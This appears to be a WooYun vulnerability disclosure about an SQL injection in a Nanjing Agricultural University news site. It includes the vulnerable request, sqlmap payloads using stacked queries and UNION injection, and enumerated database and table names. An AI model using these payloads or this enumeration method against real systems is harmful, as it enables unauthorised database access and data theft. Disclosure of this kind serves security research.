当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157331

漏洞标题:南京农业大学某站SQL注入

相关厂商:南京农业大学

漏洞作者: 路人甲

提交时间:2015-12-02 12:01

修复时间:2015-12-07 12:02

公开时间:2015-12-07 12:02

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

http://jysx.njau.edu.cn/  南京农业大学教育思想大讨论专题网站


GET /ShowNews.aspx?NewsType=-1&N_Id=65&TypeNum=6 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://jysx.njau.edu.cn
Cookie: ASP.NET_SessionId=bbds11455c2syk55jft1fd55
Host: jysx.njau.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*


NewsType参数存在注入

sqlmap identified the following injection point(s) with a total of 67 HTTP(s) requests:
---
Parameter: NewsType (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: NewsType=-1;WAITFOR DELAY '0:0:5'--&N_Id=65&TypeNum=6
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: NewsType=-1 UNION ALL SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(112)+CHAR(113)+CHAR(72)+CHAR(97)+CHAR(108)+CHAR(71)+CHAR(66)+CHAR(115)+CHAR(103)+CHAR(70)+CHAR(98)+CHAR(83)+CHAR(117)+CHAR(70)+CHAR(68)+CHAR(108)+CHAR(119)+CHAR(101)+CHAR(66)+CHAR(88)+CHAR(113)+CHAR(90)+CHAR(70)+CHAR(110)+CHAR(108)+CHAR(98)+CHAR(104)+CHAR(68)+CHAR(116)+CHAR(98)+CHAR(119)+CHAR(97)+CHAR(111)+CHAR(87)+CHAR(66)+CHAR(111)+CHAR(74)+CHAR(109)+CHAR(69)+CHAR(109)+CHAR(83)+CHAR(98)+CHAR(113)+CHAR(122)+CHAR(120)+CHAR(112)+CHAR(113)-- -&N_Id=65&TypeNum=6
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


available databases [10]:
[*] db_nnbjyy
[*] db_nnsx
[*] db_nnzwsc
[*] db_wdscholarship
[*] master
[*] model
[*] msdb
[*] NJNYD_PT
[*] ReportServer
[*] tempdb


Database: db_nnsx
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| dbo.T_Log | 420 |
| dbo.View_CharView | 76 |
| dbo.T_NewsInfo | 62 |
| dbo.View_AllInfo | 62 |
| dbo.View_NesTypeInfo | 62 |
| dbo.View_Video | 62 |
| dbo.T_User | 29 |
| dbo.T_Channel | 12 |
| dbo.T_AnswerInfo | 3 |
| dbo.T_ForumInfo | 2 |
+----------------------+---------+

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-07 12:02

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评价